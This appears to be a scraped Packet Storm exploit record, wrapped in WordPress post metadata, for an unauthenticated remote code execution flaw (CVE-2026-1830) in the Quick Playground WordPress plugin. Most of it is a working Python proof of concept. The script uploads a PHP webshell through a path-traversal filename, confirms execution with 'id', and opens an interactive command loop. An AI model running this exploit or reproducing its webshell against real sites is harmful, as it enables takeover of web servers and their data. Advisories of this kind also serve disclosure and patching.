{“lastseen”:”2026-05-29T17:05:43″,”description”:”Quick Playground for WordPress plugin versions 1.3.1 and below suffers from a remote shell upload vulnerability…”,”published”:”2026-05-29T00:00:00″,”modified”:”2026-05-29T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 WordPress Quick Playground 1.3.1 Shell Upload”,”source”:””,”references”:””,”id”:”PACKETSTORM:222218″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-1830″],”sourceData”:”# Exploit Title: Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution \\n # Google Dork: N\/A\\n # Date: 2026-05-22\\n # Exploit Author: cardosource\\n # Vendor Homepage: https:\/\/quickplayground.com\\n # Software Link: https:\/\/downloads.wordpress.org\/plugin\/quick-playground.1.3.1.zip\\n # Version: \\u003c= 1.3.1\\n # Tested on: Docker \/ Debian \/ Apache \/ PHP 8.2 \/ WordPress 6.x\\n # CVE: CVE-2026-1830\\n #\\n # Description:\\n #\\n # The Quick Playground plugin exposes a REST API endpoint:\\n #\\n # \/wp-json\/quickplayground\/v1\/upload_image\/{profile}\\n #\\n # The endpoint validates uploads exclusively through a sync_code value\\n # without requiring authenticated WordPress sessions or capability checks.\\n #\\n # Vulnerable code:\\n #\\n # if($code == $sync_code)\\n # return true;\\n #\\n # If a valid sync_code is known, weak, reused, leaked, or predictable,\\n # an attacker can upload arbitrary files using path traversal sequences.\\n #\\n # This PoC demonstrates arbitrary PHP file upload resulting in remote\\n # command execution in a controlled local lab environment.\\n #\\n # LAB SETUP:\\n #\\n # docker exec -it \\u003ccontainer\\u003e \\\\\\n # wp option update qckply_sync_code_default ‘exploit123’ –allow-root\\n #\\n # Usage:\\n #\\n # python3 poc.py\\n #\\n import requests\\n import base64\\n import random\\n import string\\n import re\\n \\n TARGET = \\”http:\/\/localhost:8080\\”\\n SYNC_CODE = \\”exploit123\\”\\n PROFILE = \\”default\\”\\n \\n s = requests.Session()\\n s.headers.update({\\n \\”User-Agent\\”: \\”Mozilla\/5.0\\”,\\n \\”Content-Type\\”: \\”application\/json\\”\\n })\\n \\n name = ”.join(random.choices(string.ascii_lowercase, k=8)) + \\”.php\\”\\n \\n shell = b’\\u003c?php if(isset($_GET[\\”cmd\\”])){echo \\”\\u003cpre\\u003e\\”;system($_GET[\\”cmd\\”]);echo \\”\\u003c\/pre\\u003e\\”;} ?\\u003e’\\n \\n payload = {\\n \\”sync_code\\”: SYNC_CODE,\\n \\”filename\\”: f\\”..\/..\/..\/{name}\\”,\\n \\”base64\\”: base64.b64encode(shell).decode()\\n }\\n \\n url = f\\”{TARGET}\/wp-json\/quickplayground\/v1\/upload_image\/{PROFILE}\\”\\n \\n print(\\”[-] Sending webshell…\\”)\\n r = s.post(url, json=payload, timeout=15)\\n \\n try:\\n msg = r.json().get(\\”message\\”, \\”\\”)\\n except:\\n print(\\”[-] Invalid server response\\”)\\n exit()\\n \\n if \\”saving to\\” not in msg:\\n print(\\”[-] Upload failed\\”)\\n print(r.text[:300])\\n exit()\\n \\n print(\\”[-] Checking execution…\\”)\\n \\n shell_url = f\\”{TARGET}\/{name}\\”\\n \\n r = s.get(shell_url, params={\\”cmd\\”: \\”id\\”}, timeout=10)\\n \\n m = re.search(r\\”\\u003cpre\\u003e(.*?)\\u003c\/pre\\u003e\\”, r.text, re.DOTALL)\\n \\n if not m:\\n print(\\”[-] Shell not responding\\”)\\n exit()\\n \\n print(\\”[+] RCE CONFIRMED!\\”)\\n print(f\\”[+] Shell: {shell_url}?cmd=command\\”)\\n print(f\\”[+] User: {m.group(1).strip()}\\\\n\\”)\\n \\n while True:\\n cmd = input(\\”$ \\”).strip()\\n \\n if cmd == \\”exit\\”:\\n break\\n \\n if not cmd:\\n continue\\n \\n r = s.get(shell_url, params={\\”cmd\\”: cmd}, timeout=30)\\n \\n m = re.search(r\\”\\u003cpre\\u003e(.*?)\\u003c\/pre\\u003e\\”, r.text, re.DOTALL)\\n \\n if m:\\n print(m.group(1).strip())”,”sourceHref”:”https:\/\/packetstorm.news\/download\/222218″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/222218\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-29T17:05:43″,”description”:”Quick Playground for WordPress plugin versions 1.3.1 and below suffers from a remote shell upload vulnerability…”,”published”:”2026-05-29T00:00:00″,”modified”:”2026-05-29T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 WordPress Quick Playground 1.3.1 Shell Upload”,”source”:””,”references”:””,”id”:”PACKETSTORM:222218″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-1830″],”sourceData”:”# Exploit Title: Quick…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-58437","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n